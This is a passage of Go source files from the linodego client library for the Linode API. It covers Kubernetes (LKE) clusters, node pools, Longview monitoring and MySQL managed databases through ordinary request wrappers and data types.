`json:"status"` K8sVersion string `json:"k8s_version"` Tags []string `json:"tags"` ControlPlane LKEClusterControlPlane `json:"control_plane"` // NOTE: Tier may not currently be available to all users and can only be used with v4beta. Tier string `json:"tier"` } // LKEClusterCreateOptions fields are those accepted by CreateLKECluster type LKEClusterCreateOptions struct { NodePools []LKENodePoolCreateOptions `json:"node_pools"` Label string `json:"label"` Region string `json:"region"` K8sVersion string `json:"k8s_version"` Tags []string `json:"tags,omitempty"` ControlPlane *LKEClusterControlPlaneOptions `json:"control_plane,omitempty"` // NOTE: Tier may not currently be available to all users and can only be used with v4beta. Tier string `json:"tier,omitempty"` } // LKEClusterUpdateOptions fields are those accepted by UpdateLKECluster type LKEClusterUpdateOptions struct { K8sVersion string `json:"k8s_version,omitempty"` Label string `json:"label,omitempty"` Tags *[]string `json:"tags,omitempty"` ControlPlane *LKEClusterControlPlaneOptions `json:"control_plane,omitempty"` } // LKEClusterAPIEndpoint fields are those returned by ListLKEClusterAPIEndpoints type LKEClusterAPIEndpoint struct { Endpoint string `json:"endpoint"` } // LKEClusterKubeconfig fields are those returned by GetLKEClusterKubeconfig type LKEClusterKubeconfig struct { KubeConfig string `json:"kubeconfig"` // Base64-encoded Kubeconfig file for this Cluster. } // LKEClusterDashboard fields are those returned by GetLKEClusterDashboard type LKEClusterDashboard struct { URL string `json:"url"` } // LKEVersion fields are those returned by GetLKEVersion type LKEVersion struct { ID string `json:"id"` } // LKEClusterRegenerateOptions fields are those accepted by RegenerateLKECluster type LKEClusterRegenerateOptions struct { KubeConfig bool `json:"kubeconfig"` ServiceToken bool `json:"servicetoken"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *LKECluster) UnmarshalJSON(b []byte) error { type Mask LKECluster p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } // GetCreateOptions converts a LKECluster to LKEClusterCreateOptions for use in CreateLKECluster func (i LKECluster) GetCreateOptions() (o LKEClusterCreateOptions) { o.Label = i.Label o.Region = i.Region o.K8sVersion = i.K8sVersion o.Tags = i.Tags isHA := i.ControlPlane.HighAvailability o.ControlPlane = &LKEClusterControlPlaneOptions{ HighAvailability: &isHA, // ACL will not be populated in the control plane response } // @TODO copy NodePools? return } // GetUpdateOptions converts a LKECluster to LKEClusterUpdateOptions for use in UpdateLKECluster func (i LKECluster) GetUpdateOptions() (o LKEClusterUpdateOptions) { o.K8sVersion = i.K8sVersion o.Label = i.Label o.Tags = &i.Tags isHA := i.ControlPlane.HighAvailability o.ControlPlane = &LKEClusterControlPlaneOptions{ HighAvailability: &isHA, // ACL will not be populated in the control plane response } return } // ListLKEVersions lists the Kubernetes versions available through LKE. This endpoint is cached by default. func (c *Client) ListLKEVersions(ctx context.Context, opts *ListOptions) ([]LKEVersion, error) { e := "lke/versions" endpoint, err := generateListCacheURL(e, opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]LKEVersion), nil } response, err := getPaginatedResults[LKEVersion](ctx, c, e, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response, &cacheExpiryTime) return response, nil } // GetLKEVersion gets details about a specific LKE Version. This endpoint is cached by default. func (c *Client) GetLKEVersion(ctx context.Context, version string) (*LKEVersion, error) { e := formatAPIPath("lke/versions/%s", version) if result := c.getCachedResponse(e); result != nil { result := result.(LKEVersion) return &result, nil } response, err := doGETRequest[LKEVersion](ctx, c, e) if err != nil { return nil, err } c.addCachedResponse(e, response, &cacheExpiryTime) return response, nil } // ListLKEClusterAPIEndpoints gets the API Endpoint for the LKE Cluster specified func (c *Client) ListLKEClusterAPIEndpoints(ctx context.Context, clusterID int, opts *ListOptions) ([]LKEClusterAPIEndpoint, error) { response, err := getPaginatedResults[LKEClusterAPIEndpoint](ctx, c, formatAPIPath("lke/clusters/%d/api-endpoints", clusterID), opts) if err != nil { return nil, err } return response, nil } // ListLKEClusters lists LKEClusters func (c *Client) ListLKEClusters(ctx context.Context, opts *ListOptions) ([]LKECluster, error) { response, err := getPaginatedResults[LKECluster](ctx, c, "lke/clusters", opts) return response, err } // GetLKECluster gets the lkeCluster with the provided ID func (c *Client) GetLKECluster(ctx context.Context, clusterID int) (*LKECluster, error) { e := formatAPIPath("lke/clusters/%d", clusterID) response, err := doGETRequest[LKECluster](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateLKECluster creates a LKECluster func (c *Client) CreateLKECluster(ctx context.Context, opts LKEClusterCreateOptions) (*LKECluster, error) { e := "lke/clusters" response, err := doPOSTRequest[LKECluster](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // UpdateLKECluster updates the LKECluster with the specified id func (c *Client) UpdateLKECluster(ctx context.Context, clusterID int, opts LKEClusterUpdateOptions) (*LKECluster, error) { e := formatAPIPath("lke/clusters/%d", clusterID) response, err := doPUTRequest[LKECluster](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteLKECluster deletes the LKECluster with the specified id func (c *Client) DeleteLKECluster(ctx context.Context, clusterID int) error { e := formatAPIPath("lke/clusters/%d", clusterID) return doDELETERequest(ctx, c, e) } // GetLKEClusterKubeconfig gets the Kubeconfig for the LKE Cluster specified func (c *Client) GetLKEClusterKubeconfig(ctx context.Context, clusterID int) (*LKEClusterKubeconfig, error) { e := formatAPIPath("lke/clusters/%d/kubeconfig", clusterID) response, err := doGETRequest[LKEClusterKubeconfig](ctx, c, e) if err != nil { return nil, err } return response, nil } // DeleteLKEClusterKubeconfig deletes the Kubeconfig for the LKE Cluster specified func (c *Client) DeleteLKEClusterKubeconfig(ctx context.Context, clusterID int) error { e := formatAPIPath("lke/clusters/%d/kubeconfig", clusterID) return doDELETERequest(ctx, c, e) } // GetLKEClusterDashboard gets information about the dashboard for an LKE cluster func (c *Client) GetLKEClusterDashboard(ctx context.Context, clusterID int) (*LKEClusterDashboard, error) { e := formatAPIPath("lke/clusters/%d/dashboard", clusterID) response, err := doGETRequest[LKEClusterDashboard](ctx, c, e) if err != nil { return nil, err } return response, nil } // RecycleLKEClusterNodes recycles all nodes in all pools of the specified LKE Cluster. func (c *Client) RecycleLKEClusterNodes(ctx context.Context, clusterID int) error { e := formatAPIPath("lke/clusters/%d/recycle", clusterID) _, err := doPOSTRequest[LKECluster, any](ctx, c, e) return err } // RegenerateLKECluster regenerates the Kubeconfig file and/or the service account token for the specified LKE Cluster. func (c *Client) RegenerateLKECluster(ctx context.Context, clusterID int, opts LKEClusterRegenerateOptions) (*LKECluster, error) { e := formatAPIPath("lke/clusters/%d/regenerate", clusterID) response, err := doPOSTRequest[LKECluster](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteLKEClusterServiceToken deletes and regenerate the service account token for a Cluster. func (c *Client) DeleteLKEClusterServiceToken(ctx context.Context, clusterID int) error { e := formatAPIPath("lke/clusters/%d/servicetoken", clusterID) return doDELETERequest(ctx, c, e) } golang-github-linode-linodego-1.47.0/lke_clusters_control_plane.go000066400000000000000000000073121474652371000253610ustar00rootroot00000000000000package linodego import "context" // LKEClusterControlPlane fields contained within the `control_plane` attribute of an LKE cluster. type LKEClusterControlPlane struct { HighAvailability bool `json:"high_availability"` } // LKEClusterControlPlaneACLAddresses describes the // allowed IP ranges for an LKE cluster's control plane. type LKEClusterControlPlaneACLAddresses struct { IPv4 []string `json:"ipv4"` IPv6 []string `json:"ipv6"` } // LKEClusterControlPlaneACL describes the ACL configuration // for an LKE cluster's control plane. // NOTE: Control Plane ACLs may not currently be available to all users. type LKEClusterControlPlaneACL struct { Enabled bool `json:"enabled"` Addresses *LKEClusterControlPlaneACLAddresses `json:"addresses"` RevisionID string `json:"revision_id,omitempty"` } // LKEClusterControlPlaneACLAddressesOptions are the options used to // specify the allowed IP ranges for an LKE cluster's control plane. type LKEClusterControlPlaneACLAddressesOptions struct { IPv4 *[]string `json:"ipv4,omitempty"` IPv6 *[]string `json:"ipv6,omitempty"` } // LKEClusterControlPlaneACLOptions represents the options used when // configuring an LKE cluster's control plane ACL policy. // NOTE: Control Plane ACLs may not currently be available to all users. type LKEClusterControlPlaneACLOptions struct { Enabled *bool `json:"enabled,omitempty"` Addresses *LKEClusterControlPlaneACLAddressesOptions `json:"addresses,omitempty"` RevisionID string `json:"revision_id"` } // LKEClusterControlPlaneOptions represents the options used when // configuring an LKE cluster's control plane. type LKEClusterControlPlaneOptions struct { HighAvailability *bool `json:"high_availability,omitempty"` ACL *LKEClusterControlPlaneACLOptions `json:"acl,omitempty"` } // LKEClusterControlPlaneACLUpdateOptions represents the options // available when updating the ACL configuration of an LKE cluster's // control plane. // NOTE: Control Plane ACLs may not currently be available to all users. type LKEClusterControlPlaneACLUpdateOptions struct { ACL LKEClusterControlPlaneACLOptions `json:"acl"` } // LKEClusterControlPlaneACLResponse represents the response structure // for the Client.GetLKEClusterControlPlaneACL(...) method. type LKEClusterControlPlaneACLResponse struct { ACL LKEClusterControlPlaneACL `json:"acl"` } // GetLKEClusterControlPlaneACL gets the ACL configuration for the // given cluster's control plane. // NOTE: Control Plane ACLs may not currently be available to all users. func (c *Client) GetLKEClusterControlPlaneACL(ctx context.Context, clusterID int) (*LKEClusterControlPlaneACLResponse, error) { return doGETRequest[LKEClusterControlPlaneACLResponse]( ctx, c, formatAPIPath("lke/clusters/%d/control_plane_acl", clusterID), ) } // UpdateLKEClusterControlPlaneACL updates the ACL configuration for the // given cluster's control plane. // NOTE: Control Plane ACLs may not currently be available to all users. func (c *Client) UpdateLKEClusterControlPlaneACL( ctx context.Context, clusterID int, opts LKEClusterControlPlaneACLUpdateOptions, ) (*LKEClusterControlPlaneACLResponse, error) { return doPUTRequest[LKEClusterControlPlaneACLResponse]( ctx, c, formatAPIPath("lke/clusters/%d/control_plane_acl", clusterID), opts, ) } // DeleteLKEClusterControlPlaneACL deletes the ACL configuration for the // given cluster's control plane. func (c *Client) DeleteLKEClusterControlPlaneACL( ctx context.Context, clusterID int, ) error { return doDELETERequest( ctx, c, formatAPIPath("lke/clusters/%d/control_plane_acl", clusterID), ) } golang-github-linode-linodego-1.47.0/lke_node_pools.go000066400000000000000000000147521474652371000227450ustar00rootroot00000000000000package linodego import ( "context" ) // LKELinodeStatus constants start with LKELinode and include // Linode API LKENodePool Linode Status values type LKELinodeStatus string // LKENodePoolStatus constants reflect the current status of an LKENodePool const ( LKELinodeReady LKELinodeStatus = "ready" LKELinodeNotReady LKELinodeStatus = "not_ready" ) // LKENodePoolDisk represents a Node disk in an LKENodePool object type LKENodePoolDisk struct { Size int `json:"size"` Type string `json:"type"` } type LKENodePoolAutoscaler struct { Enabled bool `json:"enabled"` Min int `json:"min"` Max int `json:"max"` } // LKENodePoolLinode represents a LKENodePoolLinode object type LKENodePoolLinode struct { ID string `json:"id"` InstanceID int `json:"instance_id"` Status LKELinodeStatus `json:"status"` } // LKENodePoolTaintEffect represents the effect value of a taint type LKENodePoolTaintEffect string const ( LKENodePoolTaintEffectNoSchedule LKENodePoolTaintEffect = "NoSchedule" LKENodePoolTaintEffectPreferNoSchedule LKENodePoolTaintEffect = "PreferNoSchedule" LKENodePoolTaintEffectNoExecute LKENodePoolTaintEffect = "NoExecute" ) // LKENodePoolTaint represents a corev1.Taint to add to an LKENodePool type LKENodePoolTaint struct { Key string `json:"key"` Value string `json:"value,omitempty"` Effect LKENodePoolTaintEffect `json:"effect"` } // LKENodePoolLabels represents Kubernetes labels to add to an LKENodePool type LKENodePoolLabels map[string]string // LKENodePool represents a LKENodePool object type LKENodePool struct { ID int `json:"id"` Count int `json:"count"` Type string `json:"type"` Disks []LKENodePoolDisk `json:"disks"` Linodes []LKENodePoolLinode `json:"nodes"` Tags []string `json:"tags"` Labels LKENodePoolLabels `json:"labels"` Taints []LKENodePoolTaint `json:"taints"` Autoscaler LKENodePoolAutoscaler `json:"autoscaler"` // NOTE: Disk encryption may not currently be available to all users. DiskEncryption InstanceDiskEncryption `json:"disk_encryption,omitempty"` } // LKENodePoolCreateOptions fields are those accepted by CreateLKENodePool type LKENodePoolCreateOptions struct { Count int `json:"count"` Type string `json:"type"` Disks []LKENodePoolDisk `json:"disks"` Tags []string `json:"tags"` Labels LKENodePoolLabels `json:"labels"` Taints []LKENodePoolTaint `json:"taints"` Autoscaler *LKENodePoolAutoscaler `json:"autoscaler,omitempty"` } // LKENodePoolUpdateOptions fields are those accepted by UpdateLKENodePoolUpdate type LKENodePoolUpdateOptions struct { Count int `json:"count,omitempty"` Tags *[]string `json:"tags,omitempty"` Labels *LKENodePoolLabels `json:"labels,omitempty"` Taints *[]LKENodePoolTaint `json:"taints,omitempty"` Autoscaler *LKENodePoolAutoscaler `json:"autoscaler,omitempty"` } // GetCreateOptions converts a LKENodePool to LKENodePoolCreateOptions for // use in CreateLKENodePool func (l LKENodePool) GetCreateOptions() (o LKENodePoolCreateOptions) { o.Count = l.Count o.Disks = l.Disks o.Tags = l.Tags o.Labels = l.Labels o.Taints = l.Taints o.Autoscaler = &l.Autoscaler return } // GetUpdateOptions converts a LKENodePool to LKENodePoolUpdateOptions for use in UpdateLKENodePoolUpdate func (l LKENodePool) GetUpdateOptions() (o LKENodePoolUpdateOptions) { o.Count = l.Count o.Tags = &l.Tags o.Labels = &l.Labels o.Taints = &l.Taints o.Autoscaler = &l.Autoscaler return } // ListLKENodePools lists LKENodePools func (c *Client) ListLKENodePools(ctx context.Context, clusterID int, opts *ListOptions) ([]LKENodePool, error) { response, err := getPaginatedResults[LKENodePool](ctx, c, formatAPIPath("lke/clusters/%d/pools", clusterID), opts) if err != nil { return nil, err } return response, nil } // GetLKENodePool gets the LKENodePool with the provided ID func (c *Client) GetLKENodePool(ctx context.Context, clusterID, poolID int) (*LKENodePool, error) { e := formatAPIPath("lke/clusters/%d/pools/%d", clusterID, poolID) response, err := doGETRequest[LKENodePool](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateLKENodePool creates a LKENodePool func (c *Client) CreateLKENodePool(ctx context.Context, clusterID int, opts LKENodePoolCreateOptions) (*LKENodePool, error) { e := formatAPIPath("lke/clusters/%d/pools", clusterID) response, err := doPOSTRequest[LKENodePool](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // RecycleLKENodePool recycles a LKENodePool func (c *Client) RecycleLKENodePool(ctx context.Context, clusterID, poolID int) error { e := formatAPIPath("lke/clusters/%d/pools/%d/recycle", clusterID, poolID) _, err := doPOSTRequest[LKENodePool, any](ctx, c, e) if err != nil { return err } return nil } // UpdateLKENodePool updates the LKENodePool with the specified id func (c *Client) UpdateLKENodePool(ctx context.Context, clusterID, poolID int, opts LKENodePoolUpdateOptions) (*LKENodePool, error) { e := formatAPIPath("lke/clusters/%d/pools/%d", clusterID, poolID) response, err := doPUTRequest[LKENodePool](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteLKENodePool deletes the LKENodePool with the specified id func (c *Client) DeleteLKENodePool(ctx context.Context, clusterID, poolID int) error { e := formatAPIPath("lke/clusters/%d/pools/%d", clusterID, poolID) return doDELETERequest(ctx, c, e) } // GetLKENodePoolNode gets the LKENodePoolLinode with the provided ID func (c *Client) GetLKENodePoolNode(ctx context.Context, clusterID int, nodeID string) (*LKENodePoolLinode, error) { e := formatAPIPath("lke/clusters/%d/nodes/%s", clusterID, nodeID) response, err := doGETRequest[LKENodePoolLinode](ctx, c, e) if err != nil { return nil, err } return response, nil } // RecycleLKENodePoolNode recycles a LKENodePoolLinode func (c *Client) RecycleLKENodePoolNode(ctx context.Context, clusterID int, nodeID string) error { e := formatAPIPath("lke/clusters/%d/nodes/%s/recycle", clusterID, nodeID) _, err := doPOSTRequest[LKENodePoolLinode, any](ctx, c, e) if err != nil { return err } return nil } // DeleteLKENodePoolNode deletes a given node from a node pool func (c *Client) DeleteLKENodePoolNode(ctx context.Context, clusterID int, nodeID string) error { e := formatAPIPath("lke/clusters/%d/nodes/%s", clusterID, nodeID) return doDELETERequest(ctx, c, e) } golang-github-linode-linodego-1.47.0/lke_types.go000066400000000000000000000020751474652371000217430ustar00rootroot00000000000000package linodego import ( "context" ) // LKEType represents a single valid LKE type. // NOTE: This typically corresponds to the availability of a cluster's // control plane. type LKEType struct { baseType[LKETypePrice, LKETypeRegionPrice] } // LKETypePrice represents the base hourly and monthly prices // for an LKE type entry. type LKETypePrice struct { baseTypePrice } // LKETypeRegionPrice represents the regional hourly and monthly prices // for an LKE type entry. type LKETypeRegionPrice struct { baseTypeRegionPrice } // ListLKETypes lists LKE types. This endpoint is cached by default. func (c *Client) ListLKETypes(ctx context.Context, opts *ListOptions) ([]LKEType, error) { e := "lke/types" endpoint, err := generateListCacheURL(e, opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]LKEType), nil } response, err := getPaginatedResults[LKEType](ctx, c, e, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response, &cacheExpiryTime) return response, nil } golang-github-linode-linodego-1.47.0/logger.go000066400000000000000000000017171474652371000212250ustar00rootroot00000000000000package linodego import ( "log" "os" ) //nolint:unused type httpLogger interface { Errorf(format string, v ...interface{}) Warnf(format string, v ...interface{}) Debugf(format string, v ...interface{}) } //nolint:unused type logger struct { l *log.Logger } //nolint:unused func createLogger() *logger { l := &logger{l: log.New(os.Stderr, "", log.Ldate|log.Lmicroseconds)} return l } //nolint:unused var _ httpLogger = (*logger)(nil) //nolint:unused func (l *logger) Errorf(format string, v ...interface{}) { l.output("ERROR RESTY "+format, v...) } //nolint:unused func (l *logger) Warnf(format string, v ...interface{}) { l.output("WARN RESTY "+format, v...) } //nolint:unused func (l *logger) Debugf(format string, v ...interface{}) { l.output("DEBUG RESTY "+format, v...) } //nolint:unused func (l *logger) output(format string, v ...interface{}) { //nolint:goprintffuncname if len(v) == 0 { l.l.Print(format) return } l.l.Printf(format, v...) } golang-github-linode-linodego-1.47.0/longview.go000066400000000000000000000076341474652371000216040ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // LongviewClient represents a LongviewClient object type LongviewClient struct { ID int `json:"id"` APIKey string `json:"api_key"` Created *time.Time `json:"-"` InstallCode string `json:"install_code"` Label string `json:"label"` Updated *time.Time `json:"-"` Apps struct { Apache any `json:"apache"` MySQL any `json:"mysql"` NginX any `json:"nginx"` } `json:"apps"` } // LongviewClientCreateOptions is an options struct used when Creating a Longview Client type LongviewClientCreateOptions struct { Label string `json:"label"` } // LongviewClientCreateOptions is an options struct used when Updating a Longview Client type LongviewClientUpdateOptions struct { Label string `json:"label"` } // LongviewPlan represents a Longview Plan object type LongviewPlan struct { ID string `json:"id"` Label string `json:"label"` ClientsIncluded int `json:"clients_included"` Price struct { Hourly float64 `json:"hourly"` Monthly float64 `json:"monthly"` } `json:"price"` } // LongviewPlanUpdateOptions is an options struct used when Updating a Longview Plan type LongviewPlanUpdateOptions struct { LongviewSubscription string `json:"longview_subscription"` } // ListLongviewClients lists LongviewClients func (c *Client) ListLongviewClients(ctx context.Context, opts *ListOptions) ([]LongviewClient, error) { response, err := getPaginatedResults[LongviewClient](ctx, c, "longview/clients", opts) if err != nil { return nil, err } return response, nil } // GetLongviewClient gets the template with the provided ID func (c *Client) GetLongviewClient(ctx context.Context, clientID int) (*LongviewClient, error) { e := formatAPIPath("longview/clients/%d", clientID) response, err := doGETRequest[LongviewClient](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateLongviewClient creates a Longview Client func (c *Client) CreateLongviewClient(ctx context.Context, opts LongviewClientCreateOptions) (*LongviewClient, error) { e := "longview/clients" response, err := doPOSTRequest[LongviewClient](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteLongviewClient deletes a Longview Client func (c *Client) DeleteLongviewClient(ctx context.Context, clientID int) error { e := formatAPIPath("longview/clients/%d", clientID) err := doDELETERequest(ctx, c, e) return err } // UpdateLongviewClient updates a Longview Client func (c *Client) UpdateLongviewClient(ctx context.Context, clientID int, opts LongviewClientUpdateOptions) (*LongviewClient, error) { e := formatAPIPath("longview/clients/%d", clientID) response, err := doPUTRequest[LongviewClient](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // GetLongviewPlan gets the template with the provided ID func (c *Client) GetLongviewPlan(ctx context.Context) (*LongviewPlan, error) { e := "longview/plan" response, err := doGETRequest[LongviewPlan](ctx, c, e) if err != nil { return nil, err } return response, nil } // UpdateLongviewPlan updates a Longview Plan func (c *Client) UpdateLongviewPlan(ctx context.Context, opts LongviewPlanUpdateOptions) (*LongviewPlan, error) { e := "longview/plan" response, err := doPUTRequest[LongviewPlan](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *LongviewClient) UnmarshalJSON(b []byte) error { type Mask LongviewClient p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } golang-github-linode-linodego-1.47.0/longview_subscriptions.go000066400000000000000000000021271474652371000245630ustar00rootroot00000000000000package linodego import ( "context" ) // LongviewSubscription represents a LongviewSubscription object type LongviewSubscription struct { ID string `json:"id"` Label string `json:"label"` ClientsIncluded int `json:"clients_included"` Price *LinodePrice `json:"price"` // UpdatedStr string `json:"updated"` // Updated *time.Time `json:"-"` } // ListLongviewSubscriptions lists LongviewSubscriptions func (c *Client) ListLongviewSubscriptions(ctx context.Context, opts *ListOptions) ([]LongviewSubscription, error) { response, err := getPaginatedResults[LongviewSubscription](ctx, c, "longview/subscriptions", opts) if err != nil { return nil, err } return response, nil } // GetLongviewSubscription gets the template with the provided ID func (c *Client) GetLongviewSubscription(ctx context.Context, templateID string) (*LongviewSubscription, error) { e := formatAPIPath("longview/subscriptions/%s", templateID) response, err := doGETRequest[LongviewSubscription](ctx, c, e) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/mysql.go000066400000000000000000000256421474652371000211160ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) type MySQLDatabaseTarget string type MySQLDatabaseMaintenanceWindow = DatabaseMaintenanceWindow const ( MySQLDatabaseTargetPrimary MySQLDatabaseTarget = "primary" MySQLDatabaseTargetSecondary MySQLDatabaseTarget = "secondary" ) // A MySQLDatabase is an instance of Linode MySQL Managed Databases type MySQLDatabase struct { ID int `json:"id"` Status DatabaseStatus `json:"status"` Label string `json:"label"` Hosts DatabaseHost `json:"hosts"` Region string `json:"region"` Type string `json:"type"` Engine string `json:"engine"` Version string `json:"version"` ClusterSize int `json:"cluster_size"` Platform DatabasePlatform `json:"platform"` // Members has dynamic keys so it is a map Members map[string]DatabaseMemberType `json:"members"` // Deprecated: ReplicationType is a deprecated property, as it is no longer supported in DBaaS V2. ReplicationType string `json:"replication_type"` // Deprecated: SSLConnection is a deprecated property, as it is no longer supported in DBaaS V2. SSLConnection bool `json:"ssl_connection"` // Deprecated: Encrypted is a deprecated property, as it is no longer supported in DBaaS V2. Encrypted bool `json:"encrypted"` AllowList []string `json:"allow_list"` InstanceURI string `json:"instance_uri"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` Updates DatabaseMaintenanceWindow `json:"updates"` Fork *DatabaseFork `json:"fork"` OldestRestoreTime *time.Time `json:"-"` UsedDiskSizeGB int `json:"used_disk_size_gb"` TotalDiskSizeGB int `json:"total_disk_size_gb"` Port int `json:"port"` } func (d *MySQLDatabase) UnmarshalJSON(b []byte) error { type Mask MySQLDatabase p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` OldestRestoreTime *parseabletime.ParseableTime `json:"oldest_restore_time"` }{ Mask: (*Mask)(d), } if err := json.Unmarshal(b, &p); err != nil { return err } d.Created = (*time.Time)(p.Created) d.Updated = (*time.Time)(p.Updated) d.OldestRestoreTime = (*time.Time)(p.OldestRestoreTime) return nil } // MySQLCreateOptions fields are used when creating a new MySQL Database type MySQLCreateOptions struct { Label string `json:"label"` Region string `json:"region"` Type string `json:"type"` Engine string `json:"engine"` AllowList []string `json:"allow_list,omitempty"` ClusterSize int `json:"cluster_size,omitempty"` // Deprecated: ReplicationType is a deprecated property, as it is no longer supported in DBaaS V2. ReplicationType string `json:"replication_type,omitempty"` // Deprecated: Encrypted is a deprecated property, as it is no longer supported in DBaaS V2. Encrypted bool `json:"encrypted,omitempty"` // Deprecated: SSLConnection is a deprecated property, as it is no longer supported in DBaaS V2. SSLConnection bool `json:"ssl_connection,omitempty"` Fork *DatabaseFork `json:"fork,omitempty"` } // MySQLUpdateOptions fields are used when altering the existing MySQL Database type MySQLUpdateOptions struct { Label string `json:"label,omitempty"` AllowList *[]string `json:"allow_list,omitempty"` Updates *DatabaseMaintenanceWindow `json:"updates,omitempty"` Type string `json:"type,omitempty"` ClusterSize int `json:"cluster_size,omitempty"` Version string `json:"version,omitempty"` } // MySQLDatabaseBackup is information for interacting with a backup for the existing MySQL Database // Deprecated: MySQLDatabaseBackup is a deprecated struct, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. type MySQLDatabaseBackup struct { ID int `json:"id"` Label string `json:"label"` Type string `json:"type"` Created *time.Time `json:"-"` } // MySQLBackupCreateOptions are options used for CreateMySQLDatabaseBackup(...) // Deprecated: MySQLBackupCreateOptions is a deprecated struct, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. type MySQLBackupCreateOptions struct { Label string `json:"label"` Target MySQLDatabaseTarget `json:"target"` } func (d *MySQLDatabaseBackup) UnmarshalJSON(b []byte) error { type Mask MySQLDatabaseBackup p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` }{ Mask: (*Mask)(d), } if err := json.Unmarshal(b, &p); err != nil { return err } d.Created = (*time.Time)(p.Created) return nil } // MySQLDatabaseCredential is the Root Credentials to access the Linode Managed Database type MySQLDatabaseCredential struct { Username string `json:"username"` Password string `json:"password"` } // MySQLDatabaseSSL is the SSL Certificate to access the Linode Managed MySQL Database type MySQLDatabaseSSL struct { CACertificate []byte `json:"ca_certificate"` } // ListMySQLDatabases lists all MySQL Databases associated with the account func (c *Client) ListMySQLDatabases(ctx context.Context, opts *ListOptions) ([]MySQLDatabase, error) { response, err := getPaginatedResults[MySQLDatabase](ctx, c, "databases/mysql/instances", opts) if err != nil { return nil, err } return response, nil } // ListMySQLDatabaseBackups lists all MySQL Database Backups associated with the given MySQL Database // Deprecated: ListMySQLDatabaseBackups is a deprecated method, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. func (c *Client) ListMySQLDatabaseBackups(ctx context.Context, databaseID int, opts *ListOptions) ([]MySQLDatabaseBackup, error) { response, err := getPaginatedResults[MySQLDatabaseBackup](ctx, c, formatAPIPath("databases/mysql/instances/%d/backups", databaseID), opts) if err != nil { return nil, err } return response, nil } // GetMySQLDatabase returns a single MySQL Database matching the id func (c *Client) GetMySQLDatabase(ctx context.Context, databaseID int) (*MySQLDatabase, error) { e := formatAPIPath("databases/mysql/instances/%d", databaseID) response, err := doGETRequest[MySQLDatabase](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateMySQLDatabase creates a new MySQL Database using the createOpts as configuration, returns the new MySQL Database func (c *Client) CreateMySQLDatabase(ctx context.Context, opts MySQLCreateOptions) (*MySQLDatabase, error) { e := "databases/mysql/instances" response, err := doPOSTRequest[MySQLDatabase](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteMySQLDatabase deletes an existing MySQL Database with the given id func (c *Client) DeleteMySQLDatabase(ctx context.Context, databaseID int) error { e := formatAPIPath("databases/mysql/instances/%d", databaseID) err := doDELETERequest(ctx, c, e) return err } // UpdateMySQLDatabase updates the given MySQL Database with the provided opts, returns the MySQLDatabase with the new settings func (c *Client) UpdateMySQLDatabase(ctx context.Context, databaseID int, opts MySQLUpdateOptions) (*MySQLDatabase, error) { e := formatAPIPath("databases/mysql/instances/%d", databaseID) response, err := doPUTRequest[MySQLDatabase](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // GetMySQLDatabaseSSL returns the SSL Certificate for the given MySQL Database func (c *Client) GetMySQLDatabaseSSL(ctx context.Context, databaseID int) (*MySQLDatabaseSSL, error) { e := formatAPIPath("databases/mysql/instances/%d/ssl", databaseID) response, err := doGETRequest[MySQLDatabaseSSL](ctx, c, e) if err != nil { return nil, err } return response, nil } // GetMySQLDatabaseCredentials returns the Root Credentials for the given MySQL Database func (c *Client) GetMySQLDatabaseCredentials(ctx context.Context, databaseID int) (*MySQLDatabaseCredential, error) { e := formatAPIPath("databases/mysql/instances/%d/credentials", databaseID) response, err := doGETRequest[MySQLDatabaseCredential](ctx, c, e) if err != nil { return nil, err } return response, nil } // ResetMySQLDatabaseCredentials returns the Root Credentials for the given MySQL Database (may take a few seconds to work) func (c *Client) ResetMySQLDatabaseCredentials(ctx context.Context, databaseID int) error { e := formatAPIPath("databases/mysql/instances/%d/credentials/reset", databaseID) _, err := doPOSTRequest[MySQLDatabaseCredential, any](ctx, c, e) return err } // GetMySQLDatabaseBackup returns a specific MySQL Database Backup with the given ids // Deprecated: GetMySQLDatabaseBackup is a deprecated method, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. func (c *Client) GetMySQLDatabaseBackup(ctx context.Context, databaseID int, backupID int) (*MySQLDatabaseBackup, error) { e := formatAPIPath("databases/mysql/instances/%d/backups/%d", databaseID, backupID) response, err := 